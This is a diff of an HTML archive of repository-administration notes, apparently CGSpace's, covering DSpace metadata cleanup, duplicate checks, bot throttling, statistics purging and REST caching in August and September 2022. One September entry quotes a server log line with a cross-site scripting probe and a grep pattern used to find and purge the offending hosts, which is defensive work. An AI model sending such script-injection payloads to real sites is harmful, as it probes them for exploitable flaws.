+
$ ./ilri/check-duplicates.py -i ~/Downloads/gender-ppts-xlsx.csv -u dspace -db dspace -p 'fuuu' -o /tmp/gender-duplicates.csv
+
    +
  • I sent the list of ~130 possible duplicates to Peter to check
    • +
  • Jose sent new versions of the MARLO Innovation/MELIA/OICR/Policy PDFs +
      +
    • The idea was to replace tinyurl links pointing to MARLO, but I still see many tinyurl links, some of which point to CGIAR Sharepoint and require a login
      • +
    • I asked them why they don’t just use the original links in the first place in case tinyurl.com disappears
      • +
    +
    • +
  • I continued working on the MARLO MELIA v2 UTF-8 metadata +
      +
    • I did the same metadata enrichment exercise to extract countries and AGROVOC subjects from the abstract field that I did earlier this month, using a Jython expression to match terms in copies of the abstract field
      • +
    • It helps to replace some characters with spaces first with this GREL: value.replace(/[.\/;(),]/, " ")
      • +
    • This caught some extra AGROVOC terms, but unfortunately we only check for single-word terms
      • +
    • Then I checked for existing items on CGSpace matching these MELIA using my duplicate checker:
      • +
    +
    • +
+
$ ./ilri/check-duplicates.py -i ~/Downloads/2022-08-18-MELIAs-UTF-8-With-Files.csv -u dspace -db dspace -p 'fuuu' -o /tmp/melia-matches.csv
+
    +
  • Then I did some minor processing and checking of the duplicates file (for example, some titles appear more than once in both files), and joined with the other file (left join):
    • +
+
$ xsv join --left id ~/Downloads/2022-08-18-MELIAs-UTF-8-With-Files.csv id ~/Downloads/melia-matches-csv.csv > /tmp/melias-with-relations.csv
+
    +
  • I had to use xsv because csvcut was throwing an error detecting the dialect of the input CSVs (?)
    • +
  • I created a SAF bundle and imported the 749 MELIAs to DSpace Test
    • +
  • I found thirteen items on CGSpace with dates in format “DD/MM/YYYY” so I fixed those
    • +
+

2022-08-20

+
    +
  • Peter sent me back the results of the duplicate checking on the Gender presentations +
      +
    • There were only a handful of duplicates, so I used the IDs in the spreadsheet to flag and delete them in OpenRefine
      • +
    +
    • +
  • I had a new idea about matching AGROVOC subjects and countries in OpenRefine +
      +
    • I was previously splitting up the text value field (title/abstract/etc) by spaces and searching for each word in the list of terms/countries like this:
      • +
    +
    • +
+
with open(r"/tmp/cgspace-countries.txt",'r') as f:
+    countries = [name.rstrip().lower() for name in f]
+
+return "||".join([x for x in value.split(' ') if x.lower() in countries])
+
    +
  • But that misses multi-word terms/countries with spaces, so we can search the other way around by using a regex for each term/country and checking if it appears in the text value field:
    • +
+
import re
+
+with open(r"/tmp/agrovoc-subjects.txt",'r') as f:
+    terms = [name.rstrip().lower() for name in f]
+
+return "||".join([term for term in terms if re.match(r".*\b" + term + r"\b.*", value.lower())])
+
    +
  • Now we are only limited by our small (~1,400) list of AGROVOC subjects, so I did an export from PostgreSQL of all dcterms.subjects values and am looking them up against AGROVOC’s API right now:
    • +
+
localhost/dspacetest= ☘ \COPY (SELECT DISTINCT text_value AS "dcterms.subject", count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id = 187 GROUP BY "dcterms.subject" ORDER BY count DESC) to /tmp/2022-08-20-agrovoc.csv WITH CSV HEADER;
+COPY 21685
+$ csvcut -c 1 /tmp/2022-08-20-agrovoc.csv | sed 1d > /tmp/all-subjects.txt
+$ ./ilri/agrovoc-lookup.py -i /tmp/all-subjects.txt -o 2022-08-20-all-subjects-results.csv
+$ csvgrep -c 'number of matches' -m 0 -i /tmp/2022-08-20-all-subjects-results.csv.bak | csvcut -c 1 | sed 1d > /tmp/agrovoc-subjects.txt
+$ wc -l /tmp/agrovoc-subjects.txt
+11834 /tmp/agrovoc-subjects.txt
+
    +
  • Then I created a new column joining the title and abstract, and ran the Jython expression above against this new file with 11,000 AGROVOC terms +
      +
    • Then I joined that column with Peter’s dcterms.subject column and then deduplicated it with this Jython:
      • +
    +
    • +
+
res = []
+
+[res.append(x) for x in value.split("||") if x not in res]
+
+return "||".join(res)
+
    +
  • This is way better, but you end up getting a bunch of countries, regions, and short words like “gates” matching in AGROVOC that are inappropriate (we typically don’t tag these in AGROVOC) or incorrect (gates, as in windows or doors, not the funding agency) +
      +
    • I did a text facet in OpenRefine and removed a bunch of these by eye
      • +
    +
    • +
  • Then I finished adding the dcterms.relation and CRP metadata flagged by Peter on the Gender presentations +
      +
    • I’m waiting for him to send me the PDFs and then I will upload them to DSpace Test
      • +
    +
    • +
+

2022-08-21

+
    +
  • Start indexing on AReS
    • +
  • The load on CGSpace was around 5.0 today, and now that I started the harvesting it’s over 10 for an hour now, sigh… +
      +
    • I’m going to try an experiment to block Googlebot, bingbot, and Yandex for a week to see if the load goes down
      • +
    +
    • +
+

2022-08-22

+
    +
  • I tried to re-generate the SAF bundle for the MARLO Innovations after improving the AGROVOC subjects and the v3 PDFs, but six are missing from the v3 zip that are present in the original zip: +
      +
    • ProjectInnovationSummary-WLE-P500-I78.pdf
      • +
    • ProjectInnovationSummary-WLE-P452-I699.pdf
      • +
    • ProjectInnovationSummary-WLE-P518-I696.pdf
      • +
    • ProjectInnovationSummary-WLE-P442-I740.pdf
      • +
    • ProjectInnovationSummary-WLE-P516-I647.pdf
      • +
    • ProjectInnovationSummary-WLE-P438-I585.pdf
      • +
    +
    • +
  • I downloaded them manually using the URLs in the original CSV
    • +
  • I also uploaded a new version of the MELIAs to DSpace Test
    • +
+

2022-08-23

+
    +
  • Checking the number of items on CGSpace so we can keep an eye on the 100,000 number:
    • +
+
dspace=# SELECT COUNT(uuid) FROM item WHERE in_archive='t';
+ count 
+-------
+ 95716
+(1 row)
+
    +
  • If I check OAI I see more, but perhaps that counts mapped items multiple times
    • +
  • Peter said the 303 Gender PPTs were good to go, so I updated the collection mappings and IDs in OpenRefine and then uploaded them to CGSpace:
    • +
+
$ dspace import --add --eperson=fuu@fuu.com --source /tmp/SimpleArchiveFormat --mapfile=./2022-08-23-gender-ppts.map
+
+

2022-08-24

+
    +
  • Start working on the MARLO OICRs +
      +
    • First I extracted the filenames and IDs from the v2 metadata file, then joined it with the UTF-8 version:
      • +
    +
    • +
+
$ xsv select 'cg.number (series/report No.),File' OICRS\ Metadata\ v2.csv > /tmp/OICR-files.csv
+$ xsv join --left 'cg.number (series/report No.)' OICRS\ metadata\ utf8\ 20220816_JM.csv 'cg.number (series/report No.)' /tmp/OICR-files.csv > OICRs-UTF-8-with-files.csv
+
    +
  • After that I imported it into OpenRefine for data cleaning +
      +
    • To enrich the metadata I combined the title and abstract into a new field and then checked my list of 11,000 AGROVOC terms against it
      • +
    • First, create a new column with this GREL:
      • +
    +
    • +
+
cells["dc.title"].value + " " + cells["dcterms.abstract"].value
+
    +
  • Then use this Jython:
    • +
+
import re
+
+with open(r"/tmp/agrovoc-subjects.txt",'r') as f : 
+    terms = [name.rstrip().lower() for name in f]
+
+return "||".join([term for term in terms if re.match(r".*\b" + term + r"\b.*", value.lower())])
+
    +
  • After that I de-duplicated the terms using this Jython:
    • +
+
res = []
+
+[res.append(x) for x in value.split("||") if x not in res]
+
+return "||".join(res)
+
    +
  • Then I split the multi-values on “||” and used a text facet to remove some countries and other nonsense terms that matched, like “gates” and “al” and “s” +
      +
    • Then I did the same for countries
      • +
    +
    • +
  • Then I exported the CSV and started searching for duplicates so that I can add them as relations:
    • +
+
$ ./ilri/check-duplicates.py -i ~/Downloads/2022-08-24-OICRs.csv -u dspace -db dspace -p 'omg' -o /tmp/oicrs-matches.csv
+
    +
  • Oh wow, I actually found one OICR already uploaded to CGSpace… I have to ask Jose about that
    • +
+

2022-08-25

+
    +
  • I started processing the MARLO Policies in OpenRefine, similar to the Innovations, MELIAs, and OICRs above +
      +
    • I also re-ran the AGROVOC matching on Innovations because my technique has improved since I ran it a few weeks ago
      • +
    +
    • +
+

2022-08-29

+
    +
  • Start a harvest on AReS
    • +
  • Meeting with Peter and Abenet about CGSpace issues
    • +
  • I mapped the one MARLO OICR duplicate from the CCAFS Reports collection and deleted it from the OICRs CSV
    • +
+

2022-08-30

+
    +
  • Manuel from the “Alianza SIDALC” in South America contacted me asking for permission to harvest CGSpace and include our content in their system +
      +
    • I responded that we would be glad if they harvested us, and that they should use a useful user agent so we can contact them incase of any issues or changes on the server
      • +
    +
    • +
  • I emailed ILRI ICT to ask how Abenet and I can use the CGSpace Support email address in our email applications because we haven’t checked that account in years +
      +
    • I tried to log in on office365.com but it gave an error
      • +
    • I got access to the account and cleaned up the inbox, unsubscribed from a bunch of Microsoft and Yammer feeds, etc
      • +
    +
    • +
  • Remind Dani, Tariku, and Andrea about the legacy links that we want to update on ILRI’s website: + +
    • +
  • Join the MARLO OICRs with their relations that I processed a few days ago (minus the second id column and some others):
    • +
+
$ xsv join --left id ~/Downloads/2022-08-24-OICRs.csv id ~/Downloads/oicrs-matches-csv.csv | xsv select '!id[1],Your Title,Their Title,Similarity,Your Date,Their Date,datediff' > /tmp/oicrs-with-relations.csv
+
    +
  • Then I cleaned them with csv-metadata-quality to catch some duplicates, add regions, etc and re-imported to OpenRefine +
      +
    • I flagged a few duplicates for Jose and he’ll let me know what to do with them
      • +
    +
    • +
  • I imported the OICRs to DSpace Test:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx2048m"
+$ dspace import --add --eperson=fuuuu@fuuu.com --source /tmp/SimpleArchiveFormat-oicrs --mapfile=./2022-08-30-OICRs.map
+
    +
  • Meeting with Marie-Angelique, Abenet, Valentina, Sara, and Margarita about Types
    • +
  • I am testing the org.apache.cocoon.uploads.autosave=false setting for XMLUI so that files posted via multi-part forms get memory mapped instead of written to disk
    • +
  • Check the MARLO Policies for relations and join them with the main CSV file:
    • +
+
$ ./ilri/check-duplicates.py -i ~/Downloads/2022-08-25-Policies-UTF-8-With-Files.csv -u dspace -db dspace -p 'fuui' -o /tmp/policies-matches.csv
+$ xsv join --left id ~/Downloads/2022-08-25-Policies-UTF-8-With-Files.csv id /tmp/policies-matches.csv | xsv select '!id[1],Your Title,Their Title,Similarity,Your Date,Their Date' > /tmp/policies-with-relations.csv
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2022-09/index.html b/docs/2022-09/index.html new file mode 100644 index 000000000..14b1240db --- /dev/null +++ b/docs/2022-09/index.html @@ -0,0 +1,837 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + September, 2022 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

September, 2022

+

+ + in + Notes + + +

+
+

2022-09-01

+
    +
  • A bit of work on the “Mapping CG Core–CGSpace–MEL–MARLO Types” spreadsheet
    • +
  • I tested an item submission on DSpace Test with the Cocoon org.apache.cocoon.uploads.autosave=false change +
      +
    • The submission works as expected
      • +
    +
    • +
  • Start debugging some region-related issues with csv-metadata-quality +
      +
    • I created a new test file test-geography.csv with some different scenarios
      • +
    • I also fixed a few bugs and improved the region-matching logic
      • +
    +
    • +
+ +

2022-09-02

+
    +
  • I worked a bit more on exclusion and skipping logic in csv-metadata-quality +
      +
    • I also pruned and updated all the Python dependencies
      • +
    • Then I released version 0.6.0 now that the excludes and region matching support is working way better
      • +
    +
    • +
+

2022-09-05

+
    +
  • Started a harvest on AReS last night
    • +
  • Looking over the Solr statistics from last month I see many user agents that look suspicious: +
      +
    • Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C)
      • +
    • Mozilla / 5.0(Windows NT 10.0; Win64; x64) AppleWebKit / 537.36(KHTML, like Gecko) Chrome / 77.0.3865.90 Safari / 537.36
      • +
    • Mozilla/5.0 (Windows NT 10.0; WOW64; Rv:50.0) Gecko/20100101 Firefox/50.0
      • +
    • Mozilla/5.0 (X11; Linux i686; rv:2.0b12pre) Gecko/20110204 Firefox/4.0b12pre
      • +
    • Mozilla/5.0 (Windows NT 10.0; Win64; x64; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Edge/44.18363.8131
      • +
    • Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
      • +
    • Mozilla/4.0 (compatible; MSIE 4.5; Windows 98;)
      • +
    • curb
      • +
    • bitdiscovery
      • +
    • omgili/0.5 +http://omgili.com
      • +
    • Mozilla/5.0 (compatible)
      • +
    • Vizzit
      • +
    • Mozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/20100101 Firefox/52.0
      • +
    • Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0
      • +
    • Java/17-ea
      • +
    • AdobeUxTechC4-Async/3.0.12 (win32)
      • +
    • ZaloPC-win32-24v473
      • +
    • Mozilla/5.0/Firefox/42.0 - nbertaupete95(at)gmail.com
      • +
    • Scoop.it
      • +
    • Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0
      • +
    • Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
      • +
    • ows NT 10.0; WOW64; rv: 50.0) Gecko/20100101 Firefox/50.0
      • +
    • WebAPIClient
      • +
    • Mozilla/5.0 Firefox/26.0
      • +
    • Mozilla/5.0 (compatible; woorankreview/2.0; +https://www.woorank.com/)
      • +
    +
    • +
  • For example, some are apparently using versions of Firefox that are over ten years old, and some are obviously trying to look like valid user agents, but making typos (Mozilla / 5.0)
    • +
  • Tons of hosts making requests likt this:
    • +
+
GET /bitstream/handle/10568/109408/Milk%20testing%20lab%20protocol.pdf?sequence=1&isAllowed=\x22><script%20>alert(String.fromCharCode(88,83,83))</script> HTTP/1.1" 400 5 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Rv:50.0) Gecko/20100101 Firefox/50.0
+
    +
  • I got a list of hosts making requests like that so I can purge their hits:
    • +
+
# zcat /var/log/nginx/{access,library-access,oai,rest}.log.[123]*.gz | grep 'String.fromCharCode(' | awk '{print $1}' | sort -u > /tmp/ips.txt 
+
    +
  • I purged 4,718 hits from IPs
    • +
  • I see some new Hetzner ranges that I hadn’t blocked yet apparently? + +
    • +
+
$ awk '{print $1}' /tmp/hetzner.txt | wc -l
+36
+$ sort -u /tmp/hetzner-combined.txt  | wc -l
+49
+
    +
  • I will add this new list to nginx’s bot-networks.conf so they get throttled on scraping XMLUI and get classified as bots in Solr statistics
    • +
  • Then I purged hits from the following user agents:
    • +
+
$ ./ilri/check-spider-hits.sh -f /tmp/agents
+Found 374 hits from curb in statistics
+Found 350 hits from bitdiscovery in statistics
+Found 564 hits from omgili in statistics
+Found 390 hits from Vizzit in statistics
+Found 9125 hits from AdobeUxTechC4-Async in statistics
+Found 97 hits from ZaloPC-win32-24v473 in statistics
+Found 518 hits from nbertaupete95 in statistics
+Found 218 hits from Scoop.it in statistics
+Found 584 hits from WebAPIClient in statistics
+
+Total number of hits from bots: 12220
+
    +
  • Then I will add these user agents to the ILRI spider override in DSpace
    • +
+

2022-09-06

+
    +
  • I’m testing dspace-statistics-api with our DSpace 7 test server +
      +
    • After setting up the env and the database the python -m dspace_statistics_api.indexer runs without issues
      • +
    • While playing with Solr I tried to search for statistics from this month using time:2022-09* but I get this error: “Can’t run prefix queries on numeric fields”
      • +
    • I guess that the syntax in Solr changed since 4.10…
      • +
    • This works, but is super annoying: time:[2022-09-01T00:00:00Z TO 2022-09-30T23:59:59Z]
      • +
    +
    • +
+

2022-09-07

+
    +
  • I tested the controlled-vocabulary changes on DSpace 6 and they work fine +
      +
    • Last week I found that DSpace 7 is more strict with controlled vocabularies and requires IDs for all node values
      • +
    • This is a pain because it means I have to re-do the IDs in each file every time I update them
      • +
    • If I add id="0000" to each, then I can use this vim expression let i=0001 | g/0000/s//\=i/ | let i=i+1 to replace the numbers with increments starting from 1
      • +
    +
    • +
  • Meeting with Marie Angelique, Abenet, Sarа, аnd Margarita to continue the discussion about Types from last week +
      +
    • We made progress with concrete actions and will continue next week
      • +
    +
    • +
+

2022-09-08

+
    +
  • I had a meeting with Nicky from UNEP to discuss issues they are having with their DSpace +
      +
    • I told her about the meeting of DSpace community people that we’re planning at ILRI in the next few weeks
      • +
    +
    • +
+

2022-09-09

+
    +
  • Add some value mappings to AReS because I see a lot of incorrect regions and countries
    • +
  • I also found some values that were blank in CGSpace so I deleted them:
    • +
+
dspace=# BEGIN;
+BEGIN
+dspace=# DELETE FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND text_value='';
+DELETE 70
+dspace=# COMMIT;
+COMMIT
+
    +
  • Start a full Discovery index on CGSpace to catch these changes in the Discovery
    • +
+

2022-09-11

+
    +
  • Today is Sunday and I see the load on the server is high +
      +
    • Google and a bunch of other bots have been blocked on XMLUI for the past two weeks so it’s not from them!
      • +
    • Looking at the top IPs this morning:
      • +
    +
    • +
+
# cat /var/log/nginx/{access,library-access,oai,rest}.log /var/log/nginx/{access,library-access,oai,rest}.log.1 | grep '11/Sep/2022' | awk '{print $1}' | sort | uniq -c | sort -h | tail -n 40
+...
+    165 64.233.172.79
+    166 87.250.224.34
+    200 69.162.124.231
+    202 216.244.66.198
+    385 207.46.13.149
+    398 207.46.13.147
+    421 66.249.64.185
+    422 157.55.39.81
+    442 2a01:4f8:1c17:5550::1
+    451 64.124.8.36
+    578 137.184.159.211
+    597 136.243.228.195
+   1185 66.249.64.183
+   1201 157.55.39.80
+   3135 80.248.237.167
+   4794 54.195.118.125
+   5486 45.5.186.2
+   6322 2a01:7e00::f03c:91ff:fe9a:3a37
+   9556 66.249.64.181
+
    +
  • The top is still Google, but all the requests are HTTP 503 because I classified them as bots for XMLUI at least
    • +
  • Then there’s 80.248.237.167, which is using a normal user agent and scraping Discovery +
      +
    • That IP is on Internet Vikings aka Internetbolaget and we are already marking that subnet as ‘bot’ for XMLUI so most of these requests are HTTP 503
      • +
    +
    • +
  • On another note, I’m curious to explore enabling caching of certain REST API responses +
      +
    • For example, where the use is for harvesting rather than actual clients getting bitstreams or thumbnails, it seems there might be a benefit to speeding these up for subsequent requestors:
      • +
    +
    • +
+
# awk '{print $7}' /var/log/nginx/rest.log | grep -v retrieve | sort | uniq -c | sort -h | tail -n 10
+      4 /rest/items/3f692ddd-7856-4bf0-a587-99fb3df0688a/bitstreams
+      4 /rest/items/3f692ddd-7856-4bf0-a587-99fb3df0688a/metadata
+      4 /rest/items/b014e36f-b496-43d8-9148-cc9db8a6efac/bitstreams
+      4 /rest/items/b014e36f-b496-43d8-9148-cc9db8a6efac/metadata
+      5 /rest/handle/10568/110310?expand=all
+      5 /rest/handle/10568/89980?expand=all
+      5 /rest/handle/10568/97614?expand=all
+      6 /rest/handle/10568/107086?expand=all
+      6 /rest/handle/10568/108503?expand=all
+      6 /rest/handle/10568/98424?expand=all
+
    +
  • I specifically have to not cache things like requests for bitstreams because those are from actual users and we need to keep the real requests so we get the statistics hit +
      +
    • Will be interesting to check the results above as the day goes on (now 10AM)
      • +
    • To estimate the potential savings from caching I will check how many non-bitstream requests are made versus how many are made more than once (updated the next morning using yesterday’s log):
      • +
    +
    • +
+
# awk '{print $7}' /var/log/nginx/rest.log.1 | grep -v retrieve | sort -u | wc -l
+33733
+# awk '{print $7}' /var/log/nginx/rest.log.1 | grep -v retrieve | sort | uniq -c | awk '$1 > 1' | wc -l
+5637
+
    +
  • In the afternoon I started a harvest on AReS (which should affect the numbers above also)
    • +
  • I enabled an nginx proxy cache on DSpace Test for this location regex: location ~ /rest/(handle|items|collections|communities)/.+
    • +
+

2022-09-12

+
    +
  • I am testing harvesting DSpace Test via AReS with the nginx proxy cache enabled +
      +
    • I had to tune the regular expression in nginx a bit because the REST requests OpenRXV uses weren’t matching
      • +
    • Now I’m trying this one: /rest/(handle|items|collections|communities)/?
      • +
    • Testing in regex101.com with this test string:
      • +
    +
    • +
+
/rest/handle/10568/27611
+/rest/items?expand=metadata,parentCommunityList,parentCollectionList,bitstreams&limit=10&offset=36270
+/rest/handle/10568/110310?expand=all
+/rest/rest/bitstreams/28926633-c7c2-49c2-afa8-6d81cadc2316/retrieve
+/rest/bitstreams/15412/retrieve
+/rest/items/083dbb0d-11e2-4dfe-902b-eb48e4640d04/metadata
+/rest/items/083dbb0d-11e2-4dfe-902b-eb48e4640d04/bitstreams
+/rest/collections/edea23c0-0ebd-4525-90b0-0b401f997704/items
+/rest/items/14507941-aff2-4d57-90bd-03a0733ad859/metadata
+/rest/communities/b38ea726-475f-4247-a961-0d0b76e67f85/collections
+/rest/collections/e994c450-6ff7-41c6-98df-51e5c424049e/items?limit=10000
+
    +
  • I estimate that it will take about 1GB of cache to harvest 100,000 items from CGSpace with OpenRXV (10,000 pages)
    • +
  • Basically all but 4 and 5 (bitstreams) should match
    • +
  • Upload 682 OICRs from MARLO to CGSpace +
      +
    • We had tested these on DSpace Test last month along with the MELIAs, Policies, and Innovations, but we decided to upload the OICRs first so that other things can link against them as related items
      • +
    +
    • +
+

2022-09-14

+
    +
  • Meeting with Peter, Abenet, Indira, and Michael about CGSpace rollout plan for the Initiatives
    • +
+

2022-09-16

+
    +
  • Meeting with Marie-Angeqlique, Abenet, Margarita, and Sara about types for CG Core +
      +
    • We are about halfway through the list of types now, with concrete actions for CG Core and CGSpace
      • +
    • We will meet next in two weeks to hopefully finalize the list, then we can move on to definitions
      • +
    +
    • +
+

2022-09-18

+
    +
  • Deploy the org.apache.cocoon.uploads.autosave=false change on CGSpace
    • +
  • Start a harvest on AReS
    • +
+

2022-09-19

+
    +
  • Deploy the nginx proxy cache for /rest requests on CGSpace +
      +
    • I had tested this last week on DSpace Test
      • +
    • By my counts on CGSpace yesterday (Sunday, a busy day for the REST API), we had 5,654 URLs that were requested more than twice, and it tails off after that towards two, three, four, etc:
      • +
    +
    • +
+
# awk '{print $7}' /var/log/nginx/rest.log.1 | grep -v retrieve | sort | uniq -c | awk '$1 > 1' | wc -l
+5654
+# awk '{print $7}' /var/log/nginx/rest.log.1 | grep -v retrieve | sort | uniq -c | awk '$1 == 2' | wc -l
+4710
+# awk '{print $7}' /var/log/nginx/rest.log.1 | grep -v retrieve | sort | uniq -c | awk '$1 == 3' | wc -l
+814
+# awk '{print $7}' /var/log/nginx/rest.log.1 | grep -v retrieve | sort | uniq -c | awk '$1 == 4' | wc -l
+86
+# awk '{print $7}' /var/log/nginx/rest.log.1 | grep -v retrieve | sort | uniq -c | awk '$1 == 5' | wc -l
+39
+
    +
  • For now I guess requests that were done two or three times by different clients will be cached and that’s a win, and I expect more and more REST API activity soon when initiatives and One CGIAR stuff picks up
    • +
+

2022-09-20

+
    +
  • I checked the status of the nginx REST API cache on CGSpace and it was stuck at 7,083 items for hours:
    • +
+
# find /var/cache/nginx/rest_cache/ -type f | wc -l
+7083
+
    +
  • The proxy cache key zone is currently 1m, which can store ~8,000 keys, so that could be what we’re running into +
      +
    • I increased it to 2m and will keep monitoring it
      • +
    +
    • +
  • CIP webmaster contacted me to say they are having problems harvesting CGSpace from their WordPress +
      +
    • I am not sure if there are issues due to the REST API caching I enabled…
      • +
    +
    • +
+

2022-09-21

+
    +
  • Planning the Nairobi DSpace Users meeting with Abenet
    • +
  • Planning to have a call about MEL submitting to CGSpace on Monday with Mohammed Salem +
      +
    • I created two collections on DSpace Test: one with a workflow, and one without
      • +
    • According to my notes from 2020-10 the account must be in the admin group in order to submit via the REST API, so I added it to the admin group of each collection
      • +
    +
    • +
+

2022-09-22

+
    +
  • Nairobi DSpace users meeting at ILRI
    • +
  • I found a few users that didn’t have ORCID iDs and were missing tags on CGSpace so I tagged them:
    • +
+
dc.contributor.author,cg.creator.identifier
+dc.contributor.author,cg.creator.identifier
+"Alonso, Silvia","Silvia Alonso: 0000-0002-0565-536X"
+"Goopy, John P.","John Goopy: 0000-0001-7177-1310"
+"Korir, Daniel","Daniel Korir: 0000-0002-1356-8039"
+"Leitner, Sonja","Sonja Leitner: 0000-0002-1276-8071"
+"Fèvre, Eric M.","Eric M. Fèvre: 0000-0001-8931-4986"
+"Galiè, Alessandra","Alessandra Galie: 0000-0001-9868-7733"
+"Baltenweck, Isabelle","Isabelle Baltenweck: 0000-0002-4147-5921"
+"Robinson, Timothy P.","Timothy Robinson: 0000-0002-4266-963X"
+"Lannerstad, Mats","Mats Lannerstad: 0000-0002-5116-3198"
+"Graham, Michael","Michael Graham: 0000-0002-1189-8640"
+"Merbold, Lutz","Lutz Merbold: 0000-0003-4974-170X"
+"Rufino, Mariana C.","Mariana Rufino: 0000-0003-4293-3290"
+"Wilkes, Andreas","Andreas Wilkes: 0000-0001-7546-991X"
+"van der Weerden, T.","Tony van der Weerden: 0000-0002-6999-2584"
+"Vermeulen, S.","Sonja Vermeulen: 0000-0001-6242-9513"
+"Vermeulen, Sonja","Sonja Vermeulen: 0000-0001-6242-9513"
+"Vermeulen, Sonja J.","Sonja Vermeulen: 0000-0001-6242-9513"
+"Hung Nguyen-Viet","Hung Nguyen-Viet: 0000-0003-1549-2733"
+"Herrero, Mario T.","Mario Herrero: 0000-0002-7741-5090"
+"Thornton, Philip K.","Philip Thornton: 0000-0002-1854-0182"
+"Duncan, Alan J.","Alan Duncan: 0000-0002-3954-3067"
+"Lukuyu, Ben A.","Ben Lukuyu: 0000-0002-9374-3553"
+"Lindahl, Johanna F.","Johanna Lindahl: 0000-0002-1175-0398"
+"Okeyo Mwai, Ally","Ally Okeyo Mwai: 0000-0003-2379-7801"
+"Wieland, Barbara","Barbara Wieland: 0000-0003-4020-9186"
+"Omore, Amos O.","Amos Omore: 0000-0001-9213-9891"
+"Randolph, Thomas F.","Thomas Fitz Randolph: 0000-0003-1849-9877"
+"Staal, Steven J.","Steven Staal: 0000-0002-1244-1773"
+"Hanotte, Olivier H.","Olivier Hanotte: 0000-0002-2877-4767"
+"Dessie, Tadelle","Tadelle Dessie: 0000-0002-1630-0417"
+"Dione, Michel M.","Michel Dione: 0000-0001-7812-5776"
+"Gebremedhin, Berhanu","Berhanu Gebremedhin: 0000-0002-3168-2783"
+"Ouma, Emily A.","Emily Ouma: 0000-0002-3123-1376"
+"Roesel, Kristina","Kristina Roesel: 0000-0002-2553-1129"
+"Bishop, Richard P.","Richard Bishop: 0000-0002-3720-9970"
+"Lapar, Ma. Lucila","Ma. Lucila Lapar: 0000-0002-4214-9845"
+"Rich, Karl M.","Karl Rich: 0000-0002-5581-9553"
+"Hoekstra, Dirk","Dirk Hoekstra: 0000-0002-6111-6627"
+"Nene, Vishvanath","Vishvanath Nene: 0000-0001-7066-4169"
+"Patel, S.P.","Sonal Henson: 0000-0002-2002-5462"
+"Hanson, Jean","Jean Hanson: 0000-0002-3648-2641"
+"Marshall, Karen","Karen Marshall: 0000-0003-4197-1455"
+"Notenbaert, An Maria Omer","An Maria Omer Notenbaert: 0000-0002-6266-2240"
+"Ojango, Julie M.K.","Ojango J.M.K.: 0000-0003-0224-5370"
+"Wijk, Mark T. van","Mark van Wijk: 0000-0003-0728-8839"
+"Tarawali, Shirley A.","Shirley Tarawali: 0000-0001-9398-8780"
+"Naessens, Jan","Jan Naessens: 0000-0002-7075-9915"
+"Butterbach-Bahl, Klaus","Klaus Butterbach-Bahl: 0000-0001-9499-6598"
+"Poole, Elizabeth J.","Elizabeth Jane Poole: 0000-0002-8570-794X"
+"Mulema, Annet A.","Annet Mulema: 0000-0003-4192-3939"
+"Dror, Iddo","Iddo Dror: 0000-0002-0800-7456"
+"Ballantyne, Peter G.","Peter G. Ballantyne: 0000-0001-9346-2893"
+"Baker, Derek","Derek Baker: 0000-0001-6020-6973"
+"Ericksen, Polly J.","Polly Ericksen: 0000-0002-5775-7691"
+"Jones, Christopher S.","Chris Jones: 0000-0001-9096-9728"
+"Mude, Andrew G.","Andrew Mude: 0000-0003-4903-6613"
+"Puskur, Ranjitha","Ranjitha Puskur: 0000-0002-9112-3414"
+"Kiara, Henry K.","Henry Kiara: 0000-0001-9578-1636"
+"Gibson, John P.","John Gibson: 0000-0003-0371-2401"
+"Flintan, Fiona E.","Fiona Flintan: 0000-0002-9732-097X"
+"Mrode, Raphael A.","Raphael Mrode: 0000-0003-1964-5653"
+"Mtimet, Nadhem","Nadhem Mtimet: 0000-0003-3125-2828"
+"Said, Mohammed Yahya","Mohammed Yahya Said: 0000-0001-8127-6399"
+"Pezo, Danilo A.","Danilo Pezo: 0000-0001-5345-5314"
+"Haileslassie, Amare","Amare Haileslassie: 0000-0001-5237-9006"
+"Wright, Iain A.","Iain Wright: 0000-0002-6216-5308"
+"Cadilhon, Joseph J.","Jean-Joseph Cadilhon: 0000-0002-3181-5136"
+"Domelevo Entfellner, Jean-Baka","Jean-Baka Domelevo Entfellner: 0000-0002-8282-1325"
+"Oyola, Samuel O.","Samuel O. Oyola: 0000-0002-6425-7345"
+"Agaba, M.","Morris Agaba: 0000-0001-6777-0382"
+"Beebe, Stephen E.","Stephen E Beebe: 0000-0002-3742-9930"
+"Ouso, Daniel","Daniel Ouso: 0000-0003-0994-2558"
+"Ouso, Daniel O.","Daniel Ouso: 0000-0003-0994-2558"
+"Rono, Gilbert K.","Gilbert Kibet-Rono: 0000-0001-8043-5423"
+"Kibet, Gilbert","Gilbert Kibet-Rono: 0000-0001-8043-5423"
+"Juma, John","John Juma: 0000-0002-1481-5337"
+"Juma, J.","John Juma: 0000-0002-1481-5337"
+$ ./ilri/add-orcid-identifiers-csv.py -i /tmp/2022-09-22-add-orcids.csv -db dspace -u dspace -p 'fuuu'
+
    +
  • This adds nearly 5,500 ORCID tags! +
      +
    • Some of these authors were not in the controlled vocabulary so I added them
      • +
    +
    • +
+

2022-09-23

+
    +
  • Tag some more ORCID metdata (amended above)
    • +
  • Meeting with Peter and Abenet to discuss CGSpace issues +
      +
    • We found a workable solution to the MEL submission issue: they can submit to a dedicated MEL-only collection with no workflow and we will map or move the items after
      • +
    +
    • +
